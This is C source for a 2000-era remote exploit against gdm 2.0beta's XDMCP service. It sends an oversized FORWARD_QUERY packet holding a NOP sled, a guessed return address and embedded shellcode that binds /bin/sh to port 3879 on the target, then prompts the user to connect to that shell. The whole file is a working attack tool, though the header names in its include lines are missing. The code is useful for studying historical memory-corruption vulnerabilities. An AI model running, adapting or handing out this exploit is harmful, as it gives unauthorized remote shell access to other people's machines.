/*
* gdm (xdmcp) exploit
* written 05/2000 by AbraxaS
*
* abraxas@sekure.de && www.sekure.de
*
*
* Tested on: SuSE 6.2 / gdm-2.0beta1-4,
* RedHat 6.2 / gdm-2.0beta2
*
* Offsets: Worked with offsets between 0 and 300
*
* Usage: gdmexpl [target] [offset]
*
* Note: Just a proof of concept.
*
* Greetings to: dies, grue, lamagra & (silly) peak
*/
#include
#include
#include
#include
#include
#include
#include
#define NOP 0x90
/* lammys bind shell code / binds a shell to port 3879 */
char code[]=
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
int resolve (char *denise)
{
struct hostent *info;
unsigned long ip;
if ((ip=inet_addr(denise))==-1)
{
if ((info=gethostbyname(denise))==0)
{
printf("Couldn't resolve [%s]\n", denise);
exit(0);
}
memcpy(&ip, (info->h_addr), 4);
}
return (ip);
}
int main (int argc, char **argv)
{
char uhm;
int nadine;
short blah[6];
char buffy[1400]; /* you might make this buffer bigger to increase the
probability to hit the right addy. making the
buffer too big could destroy the code though */
unsigned long addy;
struct sockaddr_in stephanie;
char big_buffy[sizeof(buffy)+12];
if (argc < 3)
{
printf("\nGDM 2.0betaX exploit by AbraxaS (abraxas@sekure.de)"
"\nUsage: %s [target] [offset]\n", argv[0]);
exit(0);
}
addy = 0xbffff8c0-atoi(argv[2]);
stephanie.sin_family = AF_INET;
stephanie.sin_port = htons (177);
stephanie.sin_addr.s_addr = resolve(argv[1]);
nadine = socket (AF_INET, SOCK_DGRAM, 0);
if (connect(nadine,(struct sockaddr *)&stephanie,sizeof(struct
sockaddr))<0)
{
perror("Connect"); exit(0);
}
/* filling buffer.buffy with NOPs */
memset(buffy, NOP, sizeof(buffy));
/* cleaning buffer.big_buffy */
bzero(big_buffy, sizeof(big_buffy));
/*
* creating XDMCP header
*/
/* XDM_PROTOCOL_VERSION */
blah[0] = htons(1);
/* opcode "FORWARD_QUERY" */
blah[1] = htons(4);
/* length (checksum)*/
blah[2] = htons(5+sizeof(buffy)); /* see checksum algorithm */
/* length of display buffer */
blah[3] = htons(sizeof(buffy));
/* display port */
blah[4] = htons(0);
/* authlist */
blah[5] = htons(0);
*(short *)&big_buffy[0]=blah[0];
*(short *)&big_buffy[2]=blah[1];
*(short *)&big_buffy[4]=blah[2];
*(short *)&big_buffy[6]=blah[3];
*(short *)&big_buffy[sizeof(buffy)+8]=blah[4];
*(short *)&big_buffy[sizeof(buffy)+10]=blah[5];
/* writing shellcode */
memcpy(buffy+sizeof(buffy)-strlen(code), code, strlen(code));
/* fixing some stuff */
*(long *)&buffy[0] = 0x0100007f; /* source address, not neccessary */
*(long *)&buffy[4] = 0x00000000; /* cleaning clnt_authlist */
*(long *)&buffy[8] = 0x00000000;
/* writing own RET address */
*(long *)&buffy[32]=addy;
/* copying buffy into big_buffy */
memcpy(big_buffy+8, buffy, sizeof(buffy));
/* sending big_buffy */
write(nadine, big_buffy, sizeof(big_buffy));
printf("\nConnect to %s, port 3879 now.", argv[1]);
printf("\nBut behave :) --abraxas\n");
close(nadine);
}
